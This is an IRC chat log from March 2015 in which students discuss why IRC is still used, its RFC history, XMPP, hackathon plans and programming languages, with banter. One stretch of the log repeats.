[2015-03-07T11:53:11-0500] <+awe> AOL existed though.
[2015-03-07T11:53:21-0500] <JacobEdelman_> still, why hasn't irc been replaced?
[2015-03-07T11:53:27-0500] <+awe> Why should it be?
[2015-03-07T11:53:32-0500] <hardmath123> JacobEdelman_: It's a well-established protocol with multiple clients. It does all the things you need when you're chatting. It has very good channel administration tools. It's a well-designed protocol.
[2015-03-07T11:53:38-0500] <JacobEdelman_> awe: there may be something better
[2015-03-07T11:53:43-0500] <+awe> Technically, it has been replaced.
[2015-03-07T11:53:55-0500] <JacobEdelman_> yeah, but in terms of interatiction it hasn't
[2015-03-07T11:54:05-0500] <JacobEdelman_> the type of interaction you descirbed is still centered on irc c
[2015-03-07T11:54:07-0500] <JacobEdelman_> *irc
[2015-03-07T11:54:13-0500] <+awe> No, I mean, IRC has been replaced over time.
[2015-03-07T11:54:22-0500] <JacobEdelman_> hardmath123: good point
[2015-03-07T11:54:23-0500] <+awe> IRC existed prior to 1993 when the first specification was published.
[2015-03-07T11:54:30-0500] <JacobEdelman_> oh, it was improved?
[2015-03-07T11:54:34-0500] <hardmath123> JacobEdelman_: It's decentralized, because anyone can run a server, and the same clients will still work. Or, anyone can write a client and the same server will work. Or, you can write bots. It's very open and decentralized, and that appeals to nerds.
[2015-03-07T11:54:42-0500] <hardmath123> Yeah, there are two RFCs.
[2015-03-07T11:54:45-0500] <JacobEdelman_> hardmath123: okay, I buy that
[2015-03-07T11:54:46-0500] <+awe> More than two.
[2015-03-07T11:54:59-0500] <+awe> The protocol itself was decentralized, and there was a huge mess of IRC stuff. But it existed moderately well.
[2015-03-07T11:55:18-0500] <+awe> in 93, the first RFC was published (1459).
[2015-03-07T11:55:35-0500] <+awe> In 2000, another RFC was published about IRC Architecture (2810)
[2015-03-07T11:55:51-0500] <+awe> And that same year, another about IRC channel management (2811)
[2015-03-07T11:56:12-0500] <+awe> And a split between the client and server protocols (2812 and 2813 respectively)
[2015-03-07T11:56:35-0500] <+awe> In 2014, 6697 was formally determined to be the default TLS port for servers.
[2015-03-07T11:56:42-0500] <JacobEdelman_> hmm... I think I'm gonna write a pdgn post
[2015-03-07T11:56:45-0500] <JacobEdelman_> for the blog
[2015-03-07T11:56:50-0500] <JacobEdelman_> in the form of an irc chat log
[2015-03-07T11:56:56-0500] <JacobEdelman_> about why irc is still relevant
[2015-03-07T11:57:13-0500] <+awe> IRCv3 is still being worked on.
[2015-03-07T11:57:23-0500] <JacobEdelman_> I might steal some of your lines from this chat (I'll give attributation), hardmath123 awe, you okay with that?
[2015-03-07T11:57:25-0500] <+awe> Aspects of it are already supported in many places, like the capabilities extension protocol.
[2015-03-07T11:57:25-0500] <hardmath123> JacobEdelman_: you could literally cat the last n lines of this morning's discussion
[2015-03-07T11:57:31-0500] <+awe> JacobEdelman_: Sure.
[2015-03-07T11:57:37-0500] <hardmath123> JacobEdelman_: :P yeah sure.
[2015-03-07T11:57:45-0500] <JacobEdelman_> hardmath123: I know, I'm gonna do some of that, but clean it up, and make it more substantial
[2015-03-07T11:58:19-0500] <JacobEdelman_> also, I wanna add in a bit about how we like irc because of the people it attracts and how it is a counter-signaling behaviour
[2015-03-07T11:58:23-0500] <hardmath123> JacobEdelman_: you should do it GEB-style with pretentious rabbits and turtles and whatnots instead of awe and i.
[2015-03-07T11:58:29-0500] <+awe> Lol.
[2015-03-07T11:58:30-0500] <JacobEdelman_> lol
[2015-03-07T11:58:31-0500] <JacobEdelman_> YES
[2015-03-07T11:58:33-0500] <JacobEdelman_> will do
[2015-03-07T11:58:45-0500] <+awe> https://github.com/hackers-of-umass/hackers-of-umass.github.io/pull/3
[2015-03-07T11:58:46-0500] <+awe> :(
[2015-03-07T11:58:53-0500] <+awe> MERGE THIS.
[2015-03-07T11:58:57-0500] <hardmath123> i like irc because the barrier to entry is just high enough to keep out a lot of people who don't belong.
[2015-03-07T11:59:18-0500] <hardmath123> you need to put in the effort to understand some things before you can fluently irc
[2015-03-07T11:59:38-0500] <JacobEdelman_> true, but that does have some downsides
[2015-03-07T11:59:41-0500] <+awe> I like IRC because it's still the most reliable way to foster community on the web.
[2015-03-07T11:59:42-0500] <JacobEdelman_> getting noobs on is harder
[2015-03-07T12:00:04-0500] <+awe> That and forums.
[2015-03-07T12:00:16-0500] <JacobEdelman_> aka, ben and berger both don't come on much
[2015-03-07T12:00:23-0500] <JacobEdelman_> because they don't think its worth the effort
[2015-03-07T12:00:48-0500] <+awe> Facebook's claim to making the world more open and connected is rather BS because of the way that Facebook produces a sea of disconnected people.
[2015-03-07T12:00:52-0500] <JacobEdelman_> (also, apparentely they both have something called "home work")
[2015-03-07T12:01:09-0500] <+awe> I do my homework in part by shouting about it to you guys.
[2015-03-07T12:01:21-0500] <+awe> I think especially to Hyper and nezorg.
[2015-03-07T12:02:46-0500] <grantwu> IRC is still relevant because... well what would you use instead?
[2015-03-07T12:03:12-0500] <grantwu> There are bizarre and underspecified elements of the standard, and technically it's kind of shitty
[2015-03-07T12:04:10-0500] <grantwu> But the closest thing anyone had for replacing IRC was XMPP, and that never caught on, precisely because the kind of people who still use IRC are well versed enough in its idiosyncrasies to deal with it
[2015-03-07T12:04:43-0500] <+awe> I'd also argue that XMPP is ill-equipped for the type of use case that IRC has.
[2015-03-07T12:04:55-0500] <+awe> Or at least, in my uses of software based on XMPP.
[2015-03-07T12:05:22-0500] <grantwu> Yeah
[2015-03-07T12:05:29-0500] <grantwu> I'm not entirely clear on the technical details of XMPP
[2015-03-07T12:05:39-0500] <grantwu> rooms
[2015-03-07T12:05:45-0500] <grantwu> I heard it is kind of not completely suited to chat rooms
[2015-03-07T12:06:01-0500] <grantwu> Sorry for the extra line my client is being shitty, because IRC lol
[2015-03-07T12:06:23-0500] <+awe> It has chatrooms but they're based solely on invitation AFAIK.
[2015-03-07T12:06:27-0500] <+awe> And they don't have identifiers.
[2015-03-07T12:06:47-0500] <grantwu> Right
[2015-03-07T12:06:51-0500] <grantwu> Yeah, it's not as well suited...
[2015-03-07T12:08:14-0500] <hardmath123> somehow i really like the idea of a warrant canary. it just appeals to me in an odd sort of way.
[2015-03-07T12:08:24-0500] <+awe> That reminds me!
[2015-03-07T12:08:29-0500] <+awe> I forgot to put up a PdgnCo warrant canary.
[2015-03-07T12:10:14-0500] <JacobEdelman_> lol
[2015-03-07T12:10:15-0500] <JacobEdelman_> yes
[2015-03-07T12:10:18-0500] <JacobEdelman_> just in case
[2015-03-07T12:10:54-0500] <hardmath123> right what if the fbi tries to nab you for asking for help on your CS homework? O_o
[2015-03-07T12:11:22-0500] <+awe> What if something potentially illegal takes place here?
[2015-03-07T12:11:45-0500] <hardmath123> true
[2015-03-07T12:11:48-0500] <JacobEdelman_> well, we've mentioned pirating stuff before
[2015-03-07T12:12:03-0500] <JacobEdelman_> thats incriminating, but not illegal
[2015-03-07T12:12:07-0500] <+awe> And I've committed various things that constitute crimes.
[2015-03-07T12:12:17-0500] <hardmath123> really?
[2015-03-07T12:12:19-0500] <hardmath123> oh
[2015-03-07T12:12:33-0500] <hardmath123> i didn't realize that statement was a continuation of the what-if
[2015-03-07T12:12:41-0500] <JacobEdelman_> whats illegal is spending your parents money on a life sized priate ship, adding water cannons, and attacking cruise ships pretending to be captain hook
[2015-03-07T12:12:47-0500] <JacobEdelman_> not that I would ever do that ....
[2015-03-07T12:12:49-0500] <JacobEdelman_> :P
[2015-03-07T12:13:00-0500] <hardmath123> wait water cannons are legal, iirc.
[2015-03-07T12:13:22-0500] <+awe> They are.
[2015-03-07T12:13:35-0500] <+awe> Japanese whalers use them to try to ward off anti-whaling protestors.
[2015-03-07T12:13:39-0500] <JacobEdelman_> hmm.. the crusie ship people didn't point that out
[2015-03-07T12:14:02-0500] <JacobEdelman_> they mainly screamed as I plundered their bar looking for coke
[2015-03-07T12:14:05-0500] <JacobEdelman_> they only had diet
[2015-03-07T12:14:11-0500] <JacobEdelman_> I was very dissapointed
[2015-03-07T12:16:18-0500] <+awe> I would be, too.
[2015-03-07T12:17:24-0500] <JacobEdelman_> so, I kidnapped mickey mouse (he was awfully large and fabricy but it definitely looked like him) and sailed off into the sunset
[2015-03-07T12:17:29-0500] <JacobEdelman_> or tried to at least
[2015-03-07T12:17:36-0500] <JacobEdelman_> I was about 3 hours early for the sunset
[2015-03-07T12:17:48-0500] <JacobEdelman_> so I sailed very slowly
[2015-03-07T12:18:15-0500] <+awe> Makes sense.
[2015-03-07T12:23:42-0500] <JacobEdelman_> in other news
[2015-03-07T12:23:47-0500] <JacobEdelman_> why am I no voiced?
[2015-03-07T12:23:59-0500] <hardmath123> I think JacobEdelman is voiced, not JacobEdelman_ .
[2015-03-07T12:24:06-0500] <JacobEdelman_> nope 
[2015-03-07T12:24:10-0500] <JacobEdelman_> neither one is voiced
[2015-03-07T12:24:13-0500] <JacobEdelman_> and either way
[2015-03-07T12:24:28-0500] <JacobEdelman_> ignore "and either way"
[2015-03-07T12:25:03-0500] awe sets mode +v JacobEdelman
[2015-03-07T12:25:09-0500] <JacobEdelman_> hmm
[2015-03-07T12:25:14-0500] <JacobEdelman_> can you voice me?
[2015-03-07T12:25:16-0500] <+awe> No.
[2015-03-07T12:25:20-0500] <JacobEdelman_> why not?
[2015-03-07T12:25:33-0500] <+awe> I'm incapable of doing so.
[2015-03-07T12:25:38-0500] <JacobEdelman_> ..?
[2015-03-07T12:26:12-0500] <JacobEdelman_> I'm probaly gonna stop using your bouncer, its easier to use irccloud cause it works on both my phone  and computer, is easy to set up and works well (has notifications when I'm pinged and such)
[2015-03-07T12:26:14-0500] <hardmath123> also awebot started pming me lewd messages too
[2015-03-07T12:26:24-0500] <JacobEdelman_> hardmath123: :P
[2015-03-07T12:27:21-0500] <+awe> JacobEdelman_: Fine, I'll go delete your account.
[2015-03-07T12:27:49-0500] <JacobEdelman_> okay
[2015-03-07T12:27:49-0500] JacobEdelman (JacobEdelma@pdgn-4jd.4t2.2bemd8.IP) left IRC (Quit: ZNC - http://znc.in)
[2015-03-07T12:27:58-0500] JacobEdelman_ is now known as JacobEdelman
[2015-03-07T12:28:03-0500] <JacobEdelman> now can you voice me?
[2015-03-07T12:28:04-0500] awe sets mode +v JacobEdelman
[2015-03-07T12:28:07-0500] <+JacobEdelman> yeah!
[2015-03-07T12:28:56-0500] <hardmath123> zrl: GunnHacks next weekend, in case you're in the bay area and you wanna drop by sometime to say hi.
[2015-03-07T12:31:06-0500] <+awe> hardmath123: You should host it the same time next year, do travel reimbursements for me, and then fly me out.
[2015-03-07T12:31:33-0500] <+awe> (It's during my Spring Break, apparently)
[2015-03-07T12:32:33-0500] <+JacobEdelman> hardmath123: why arn't you getting funding from Ignition again?
[2015-03-07T12:33:09-0500] <hardmath123> JacobEdelman: what's Ugnition?
[2015-03-07T12:33:13-0500] <hardmath123> s/Ugnition/Ignition
[2015-03-07T12:33:27-0500] <+JacobEdelman> http://hsignition.com/
[2015-03-07T12:33:34-0500] <+JacobEdelman> I showed you it before, I think.
[2015-03-07T12:34:06-0500] <hardmath123> no
[2015-03-07T12:34:16-0500] <+JacobEdelman> I didn't?
[2015-03-07T12:34:22-0500] <+JacobEdelman> I could have sworn I did.
[2015-03-07T12:34:24-0500] <hardmath123> wait, it looks familiar
[2015-03-07T12:34:59-0500] <hardmath123> yeah ok they don't actually give you money :P
[2015-03-07T12:35:28-0500] <+JacobEdelman> don't they hook you up with sponsors?
[2015-03-07T12:35:32-0500] <hardmath123> and there's no way we're going to adhere to their "Sanction Guide"
[2015-03-07T12:35:38-0500] <hardmath123> we have sponsor(s)
[2015-03-07T12:35:45-0500] <+JacobEdelman> ah, okay
[2015-03-07T12:41:01-0500] <+awe> JacobEdelman: aren't you upset that your glorious leader is competing with you?
[2015-03-07T12:41:11-0500] <+JacobEdelman> ?
[2015-03-07T12:41:17-0500] <+JacobEdelman> Victor?
[2015-03-07T12:41:42-0500] <+awe> Yes, your glorious and most reverent leader.
[2015-03-07T12:41:55-0500] <+JacobEdelman> my ego is way to large for me to ever think of somebody like that :P
[2015-03-07T12:42:50-0500] <+awe> "Events may not discriminate on the basis of race, religion, national origin, color, sex, gender identity, sexual orientation, social class, economic status, veteran status, disability, or age."
[2015-03-07T12:43:05-0500] <+awe> So, I can't host a hackathon for women?
[2015-03-07T12:43:24-0500] <+awe> Or, for that matter, a hackathon for high schoolers.
[2015-03-07T12:44:16-0500] <+awe> "Events in the United States may not serve alcohol to any attendees."
[2015-03-07T12:44:17-0500] <+awe> Why not?
[2015-03-07T12:44:51-0500] <+awe> At a Uni hackathon, there will be a number of people over the age of 21 and I don't see anything wrong with serving alcohol to htem.
[2015-03-07T12:44:52-0500] <+awe> them*
[2015-03-07T12:45:07-0500] <+JacobEdelman> hmm
[2015-03-07T12:45:10-0500] <+JacobEdelman> might lead to problems
[2015-03-07T12:45:38-0500] <+JacobEdelman> especially considering that hsignition is supposed ot be aimed at hs students
[2015-03-07T12:45:43-0500] <hardmath123> awe: hsignition seems to be meant for high schoolers
[2015-03-07T12:46:04-0500] <+awe> Fair enough.
[2015-03-07T12:46:04-0500] <+JacobEdelman> zrl: we still need to talk about hscs and hackedu, pm me
[2015-03-07T12:46:11-0500] <+JacobEdelman> actually
[2015-03-07T12:46:14-0500] <+JacobEdelman> I'll just pm you
[2015-03-07T12:46:16-0500] <hardmath123> in any case, though, that's redundant. no hs will let students serve alcohol anyway.
[2015-03-07T12:46:21-0500] <+awe> "Collecting information about gender identity, year in school, major, birthday, food allergies, and special needs is optional, but recommended, as well."
[2015-03-07T12:46:23-0500] <+awe> >major
[2015-03-07T12:46:27-0500] <+awe> It seems to not be the case.
[2015-03-07T12:46:39-0500] <+JacobEdelman> maybe they just stole that from major league hacking?
[2015-03-07T12:47:11-0500] • awe: shrugs.
[2015-03-07T12:47:31-0500] <+awe> But yeah, how are you not upset that this is basically the exact same thing as HSCS?
[2015-03-07T12:48:09-0500] <+awe> "At our hackathons, students are free to build what they dream of, including but not limited to web applications, hardware hacks, and iPhone apps."
[2015-03-07T12:48:13-0500] <+awe> This says so much about their priorities.
[2015-03-07T12:48:38-0500] <+JacobEdelman> they are for hackathons
[2015-03-07T12:48:46-0500] <+JacobEdelman> we are for online comeptitions (so far)
[2015-03-07T12:49:13-0500] <+JacobEdelman> but yes, I initally had ideas about doing what they are doing
[2015-03-07T12:49:28-0500] <+JacobEdelman> but I can adapt
[2015-03-07T13:15:39-0500] <nezorg> http://www.cnet.com/news/fridge-caught-sending-spam-emails-in-botnet-attack/ isn't IoT great?
[2015-03-07T13:15:50-0500] <+awe> Lol.
[2015-03-07T13:16:43-0500] <+JacobEdelman> Lol
[2015-03-07T13:18:25-0500] <+awe> God, my IRC library has come so far.
[2015-03-07T13:18:27-0500] <+awe> https://github.com/aatxe/irc/blob/54b37770ed2c31772000b69c822b137808030961/src/lib.rs
[2015-03-07T13:18:42-0500] <+awe> This was the first working version.
[2015-03-07T13:20:20-0500] <+awe> You couldn't even pick which server to connect to, or what the actual bot does.
[2015-03-07T13:20:54-0500] <+awe> You could basically just pick it's nickname.
[2015-03-07T13:21:05-0500] <+awe> And even then, not that if you used identify().
[2015-03-07T13:23:10-0500] <Hyper> awe: first working version was on 9/11, wake up sheeple!
[2015-03-07T13:23:16-0500] <+awe> LOL
[2015-03-07T13:23:22-0500] <+awe> gg, well played
[2015-03-07T13:24:59-0500] <nezorg> awe: https://github.com/aatxe/irc/blob/master/src/server/mod.rs gj
[2015-03-07T13:25:20-0500] <+awe> It'll happen at some point.
[2015-03-07T13:25:33-0500] <grantwu> lol attempting to install OpenAFS
[2015-03-07T13:25:43-0500] <grantwu> I'll be surprised if I don't brick my install
[2015-03-07T13:27:33-0500] <+awe> nezorg: I've kind of been waiting to get through the IO churn to start on that.
[2015-03-07T13:27:44-0500] <nezorg> ah
[2015-03-07T13:36:50-0500] <+awe> nezorg: and once I actually do make progress there, my library is going to be so much more than that simple, really lousy library it started as. :)
[2015-03-07T13:41:55-0500] <+JacobEdelman> guys
[2015-03-07T13:42:05-0500] <+JacobEdelman> remember the idea i had a while ago for hackpdgn?
[2015-03-07T13:42:37-0500] <+JacobEdelman> a week long, online, no prizes hackathon, that would actually make hackathons like marathons, where you are doing something you can be proud of rather than trying to beat other people
[2015-03-07T13:43:01-0500] <+JacobEdelman> awe and I both like the idea
[2015-03-07T13:43:07-0500] <grantwu> orrrrrrrrrrrrrrrrrrr  
[2015-03-07T13:43:09-0500] <Tamini> what would you name it
[2015-03-07T13:43:14-0500] <Tamini> it needs a really cute name
[2015-03-07T13:43:15-0500] <grantwu> You could just do software development.  As normal.
[2015-03-07T13:43:20-0500] <+JacobEdelman> HackPdgn
[2015-03-07T13:43:27-0500] <Tamini> because I think something something marathon something hackathon could turn into something cute
[2015-03-07T13:43:37-0500] <+JacobEdelman> grantwu: ever heard of nanowrimo?
[2015-03-07T13:43:42-0500] <+awe> grantwu: There's an added motivational element when you know that a lot of people who were also working hard this week will look at your work.
[2015-03-07T13:43:57-0500] <+JacobEdelman> Tamini: HackPdgn is nice cause we could be at hack.pdgn.co
[2015-03-07T13:44:11-0500] <grantwu> er, quality isn't the goal of nanowrimo either
[2015-03-07T13:44:14-0500] <Tamini> heh
[2015-03-07T13:44:17-0500] <+JacobEdelman> Tamini: but something like that for a motto or subtitle would be good
[2015-03-07T13:44:23-0500] <grantwu> guys guys guys
[2015-03-07T13:44:28-0500] <grantwu> I don't have kernel headers
[2015-03-07T13:44:32-0500] <+JacobEdelman> grantwu: true, but its not ignoring quality
[2015-03-07T13:44:34-0500] <grantwu> JacobEdelman: did you eat them
[2015-03-07T13:44:40-0500] <+JacobEdelman> oops, maybe
[2015-03-07T13:44:48-0500] <+JacobEdelman> what type of kernel?
[2015-03-07T13:44:51-0500] <+JacobEdelman> linux or corn?
[2015-03-07T13:44:53-0500] <grantwu> Linux
[2015-03-07T13:44:57-0500] <+JacobEdelman> ah, than yes
[2015-03-07T13:45:04-0500] <+JacobEdelman> I did eat the linux kernel headers
[2015-03-07T13:45:06-0500] <+JacobEdelman> sorry
[2015-03-07T13:45:13-0500] <+JacobEdelman> wow, we get sidetracked quick
[2015-03-07T13:45:13-0500] <+JacobEdelman> :P
[2015-03-07T13:45:38-0500] <+JacobEdelman> nezorg: I think you commented saying you liked the idea of hackpdgn, would you be interested in helping out?
[2015-03-07T13:46:31-0500] <grantwu> Wait wait wait guys
[2015-03-07T13:46:37-0500] <grantwu> Why am I building a kernel module?
[2015-03-07T13:46:50-0500] <grantwu> "You don't need to touch the terminal" --Linux on the Desktop
[2015-03-07T13:48:06-0500] <grantwu> anyways
[2015-03-07T13:48:17-0500] <grantwu> awe: I suppose there's precedent
[2015-03-07T13:48:35-0500] <grantwu> I believe big open source projects used to run these sorts of things
[2015-03-07T13:48:58-0500] <+awe> Indeed.
[2015-03-07T13:49:40-0500] <+awe> I'd personally feel a lot better working on stuff knowing that at the end of the week, a lot of people will see what I made.
[2015-03-07T13:50:14-0500] <+awe> Your criticism implied by "[13:43:15]  <grantwu>	You could just do software development.  As normal." is actually something I would leverage at hackathons.
[2015-03-07T13:50:29-0500] <grantwu> Hrm, i'm not following?
[2015-03-07T13:50:48-0500] <+awe> A lot of the people who are immersed in hackathon culture just vomit out projects every hackathon, and then move on.
[2015-03-07T13:51:02-0500] <+awe> And from what I've seen, a lot of them don't do anything outside of hackathons.
[2015-03-07T13:51:12-0500] <+awe> I'm talking about traditional hackathons.
[2015-03-07T13:51:25-0500] <+awe> I'd call what JacobEdelman wants a Hacking Sprint or something.
[2015-03-07T13:52:25-0500] <grantwu> Yeah true, but what exactly do you mean by leverage that criticism
[2015-03-07T13:52:39-0500] <+awe> I would apply your criticism to traditional hackathons.
[2015-03-07T13:52:50-0500] <+awe> I think JacobEdelman's idea is an attempt at addressing that.
[2015-03-07T13:53:09-0500] <grantwu> Well yes, I would actually
[2015-03-07T13:53:15-0500] <grantwu> I suppose
[2015-03-07T14:00:41-0500] <grantwu> I have spent an hour attempting to install a kernel module, while I had secure boot on
[2015-03-07T14:00:46-0500] <grantwu> I question my life goals.
[2015-03-07T14:02:00-0500] <+awe> lol
[2015-03-07T14:11:40-0500] <zrl> hardmath123: will be at gunnhacks!
[2015-03-07T14:13:21-0500] <LittleBobbyTables> JacobEdelman: fix my python code I sent you forever ago
[2015-03-07T14:15:03-0500] <+JacobEdelman> I don't remember getting it?
[2015-03-07T14:15:06-0500] <+JacobEdelman> can you send it to me again?
[2015-03-07T14:18:51-0500] <grantwu> omg openAFS works
[2015-03-07T14:19:00-0500] <grantwu> It's beautiful I can access my CMU stuff from my laptop
[2015-03-07T14:28:45-0500] <LittleBobbyTables> I sent it again, JacobEdelman 
[2015-03-07T14:28:55-0500] <+JacobEdelman> LittleBobbyTables: what email?
[2015-03-07T14:29:04-0500] <+JacobEdelman> me@jacobedelman.com 
[2015-03-07T14:29:04-0500] <+JacobEdelman> ?
[2015-03-07T14:29:32-0500] <+JacobEdelman> I got it
[2015-03-07T14:29:33-0500] <+JacobEdelman> "Why is this message in Spam? It has a from address in yahoo.com but has failed yahoo.com's required tests for authentication. "
[2015-03-07T14:29:35-0500] <+JacobEdelman> its in spam
[2015-03-07T14:38:48-0500] <LittleBobbyTables> Yeah, that's probably it.
[2015-03-07T14:38:59-0500] <LittleBobbyTables> Yahoo and thunderbird don't agree with each other
[2015-03-07T14:41:39-0500] <+awe> Lol.
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[2015-03-07T14:50:34-0500] <+JacobEdelman> LittleBobbyTables: answer my pm
[2015-03-07T14:53:06-0500] <+awe> Ugh. They deprecated std::old_io::process already
[2015-03-07T14:53:12-0500] <+awe> but the new std::process is still useless.
[2015-03-07T14:53:28-0500] <+awe> (you can't get file descriptors for stdin/stdout/stderr, and the whole API is super conservative)
[2015-03-07T15:03:36-0500] <+awe> bob_twinkles: got any recommendations about haskell web frameworks? 
[2015-03-07T15:06:23-0500] <nezorg> you should write the frontend using ghcjs!
[2015-03-07T15:06:35-0500] <nezorg> it's gotten a lot better lately
[2015-03-07T15:07:36-0500] <+awe> That'd be interesting.
[2015-03-07T15:09:12-0500] <+awe> I'll probably just try experimenting with yesod if I don't see any other better options.
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[2015-03-07T15:10:48-0500] <+awe> For now, I'm going to finish migrating all my IRC stuff to the latest version of my IRC library.
[2015-03-07T15:12:00-0500] <+JacobEdelman> what about elm? http://elm-lang.org/
[2015-03-07T15:12:18-0500] <+JacobEdelman> or roy? http://roy.brianmckenna.org/
[2015-03-07T15:12:32-0500] <+awe> I have seen elm.
[2015-03-07T15:12:38-0500] <grantwu> :(
[2015-03-07T15:12:41-0500] <+JacobEdelman> or khepri http://khepri-lang.com/
[2015-03-07T15:12:45-0500] <grantwu> Linux won't boot anymore
[2015-03-07T15:12:52-0500] <grantwu> Needed to switch to a different kernel
[2015-03-07T15:13:41-0500] <+awe> Khepri is gross.
[2015-03-07T15:13:50-0500] <+awe> The syntax is gnarly.
[2015-03-07T15:14:14-0500] <+JacobEdelman> okay
[2015-03-07T15:14:34-0500] <+JacobEdelman> what about roy or elm then? 
[2015-03-07T15:14:44-0500] <+awe> I don't know why you keep linking things that compile to JS.
[2015-03-07T15:15:05-0500] <+awe> I'm asking about a server-side solution, not a client-side.
[2015-03-07T15:15:11-0500] <+JacobEdelman> I was looking for a way to make node more palatable to you
[2015-03-07T15:15:26-0500] <grantwu> Lol I went to a talk on node.js last wednesday
[2015-03-07T15:15:29-0500] <grantwu> "Node is great"
[2015-03-07T15:15:34-0500] <grantwu> "Javascript is horrendous"
[2015-03-07T15:15:41-0500] <+JacobEdelman> that seems to be a popular opinion
[2015-03-07T15:15:42-0500] <grantwu> "Never use Javascript with Node"
[2015-03-07T15:15:47-0500] <+JacobEdelman> lol
[2015-03-07T15:15:52-0500] <+JacobEdelman> ES6 fixes lots of stuff
[2015-03-07T15:16:00-0500] <+JacobEdelman> we could just use nodejs with ES6...
[2015-03-07T15:16:56-0500] <grantwu> http://d315f714-26fh-4346-96a8-11a864cdfcb5.com/ lololol
[2015-03-07T15:17:08-0500] <grantwu> Click it, not malicious I swear
[2015-03-07T15:17:13-0500] <grantwu> (It's a UUID)
[2015-03-07T15:18:29-0500] <grantwu> Also interesting
[2015-03-07T15:18:30-0500] <grantwu> Node is CPS
[2015-03-07T15:22:10-0500] <+JacobEdelman> awe: I quiet like the look of roy
[2015-03-07T15:22:58-0500] <+awe> "Each and every UUID will be unique from any other one in the universe; no matter how many are created by a programmer. If a UUID is deleted, it is gone forever."
[2015-03-07T15:23:01-0500] <+awe> grantwu: how deos that work?
[2015-03-07T15:23:48-0500] <grantwu> awe: It's a joke site....
[2015-03-07T15:24:03-0500] <+awe> BUT IT'S ON THE INTERNET
[2015-03-07T15:24:05-0500] <+awe> IT MUST BE REAL
[2015-03-07T15:24:09-0500] <grantwu> ...
[2015-03-07T15:25:16-0500] <grantwu> (You're kidding me right)
[2015-03-07T15:25:24-0500] <grantwu> (You understood it was fake)
[2015-03-07T15:26:31-0500] <+awe> THE INTERNET WOULD NEVER LIE TO ME, GRANT.
[2015-03-07T15:33:31-0500] <+awe> grantwu: THIS IS COMPLETELY REAL.
[2015-03-07T15:34:30-0500] <grantwu> hue
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[2015-03-07T15:41:57-0500] <nezorg> JacobEdelman: I've used elm, and imo it quickly becomes unwieldy for moderately complex apps
[2015-03-07T15:42:08-0500] <+JacobEdelman> ah, okay
[2015-03-07T15:42:27-0500] <nezorg> I think the creator knows that, though
[2015-03-07T15:42:32-0500] <nezorg> and is working on fixes
[2015-03-07T15:51:08-0500] <+JacobEdelman> also
[2015-03-07T15:51:14-0500] <+JacobEdelman> Brice has now won life
[2015-03-07T15:51:23-0500] <+JacobEdelman> due to being an Intell Science fair finalist
[2015-03-07T15:51:37-0500] <+JacobEdelman> they have named a minor planet after him
[2015-03-07T15:52:00-0500] <+JacobEdelman> (for those not in the kknow, brice is a genius math person from my school)
[2015-03-07T15:52:10-0500] <+JacobEdelman> (he's helping with hsctf this year)
[2015-03-07T15:53:41-0500] <+JacobEdelman> oops
[2015-03-07T15:53:59-0500] <+JacobEdelman> deleted my browser window again, control-Q is annoying
[2015-03-07T15:54:28-0500] <LittleBobbyTables> Yeah but, does he have an xkcd comic about him
[2015-03-07T16:07:20-0500] <hardmath123> so apparently companyname.website is a thing
[2015-03-07T16:07:40-0500] <hardmath123> also bad.solutions :P
[2015-03-07T16:08:02-0500] <+awe> Hah, bad solutions is great.
[2015-03-07T16:08:38-0500] <+awe> nezorg: some parts of this io migration are brutal.
[2015-03-07T16:08:39-0500] <hardmath123> good.solutions should redirect to kool-aid's webpage.
[2015-03-07T16:08:56-0500] <+awe> nezorg: so much find and replace
[2015-03-07T16:13:58-0500] <LittleBobbyTables> http://gyazo.com/53af0a0a9f0b95be55a5b653ffd90758
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[2015-03-07T15:14:14-0500] <+JacobEdelman> okay
[2015-03-07T15:14:34-0500] <+JacobEdelman> what about roy or elm then? 
[2015-03-07T15:14:45-0500] <+awe> I don't know why you keep linking things that compile to JS.
[2015-03-07T15:15:05-0500] <+awe> I'm asking about a server-side solution, not a client-side.
[2015-03-07T15:15:11-0500] <+JacobEdelman> I was looking for a way to make node more palatable to you
[2015-03-07T15:15:26-0500] <grantwu> Lol I went to a talk on node.js last wednesday
[2015-03-07T15:15:29-0500] <grantwu> "Node is great"
[2015-03-07T15:15:34-0500] <grantwu> "Javascript is horrendous"
[2015-03-07T15:15:41-0500] <+JacobEdelman> that seems to be a popular opinion
[2015-03-07T15:15:42-0500] <grantwu> "Never use Javascript with Node"
[2015-03-07T15:15:47-0500] <+JacobEdelman> lol
[2015-03-07T15:15:52-0500] <+JacobEdelman> ES6 fixes lots of stuff
[2015-03-07T15:16:00-0500] <+JacobEdelman> we could just use nodejs with ES6...
[2015-03-07T15:16:56-0500] <grantwu> http://d315f714-26fh-4346-96a8-11a864cdfcb5.com/ lololol
[2015-03-07T15:17:08-0500] <grantwu> Click it, not malicious I swear
[2015-03-07T15:17:13-0500] <grantwu> (It's a UUID)
[2015-03-07T15:18:28-0500] <grantwu> Also interesting
[2015-03-07T15:18:30-0500] <grantwu> Node is CPS
[2015-03-07T15:22:10-0500] <+JacobEdelman> awe: I quiet like the look of roy
[2015-03-07T15:22:58-0500] <+awe> "Each and every UUID will be unique from any other one in the universe; no matter how many are created by a programmer. If a UUID is deleted, it is gone forever."
[2015-03-07T15:23:01-0500] <+awe> grantwu: how deos that work?
[2015-03-07T15:23:48-0500] <grantwu> awe: It's a joke site....
[2015-03-07T15:24:03-0500] <+awe> BUT IT'S ON THE INTERNET
[2015-03-07T15:24:05-0500] <+awe> IT MUST BE REAL
[2015-03-07T15:24:09-0500] <grantwu> ...
[2015-03-07T15:25:16-0500] <grantwu> (You're kidding me right)
[2015-03-07T15:25:24-0500] <grantwu> (You understood it was fake)
[2015-03-07T15:26:31-0500] <+awe> THE INTERNET WOULD NEVER LIE TO ME, GRANT.
[2015-03-07T15:33:31-0500] <+awe> grantwu: THIS IS COMPLETELY REAL.
[2015-03-07T15:34:30-0500] <grantwu> hue
[2015-03-07T15:41:57-0500] <nezorg> JacobEdelman: I've used elm, and imo it quickly becomes unwieldy for moderately complex apps
[2015-03-07T15:42:08-0500] <+JacobEdelman> ah, okay
[2015-03-07T15:42:27-0500] <nezorg> I think the creator knows that, though
[2015-03-07T15:42:32-0500] <nezorg> and is working on fixes
[2015-03-07T15:51:08-0500] <+JacobEdelman> also
[2015-03-07T15:51:14-0500] <+JacobEdelman> Brice has now won life
[2015-03-07T15:51:23-0500] <+JacobEdelman> due to being an Intell Science fair finalist
[2015-03-07T15:51:37-0500] <+JacobEdelman> they have named a minor planet after him
[2015-03-07T15:52:00-0500] <+JacobEdelman> (for those not in the kknow, brice is a genius math person from my school)
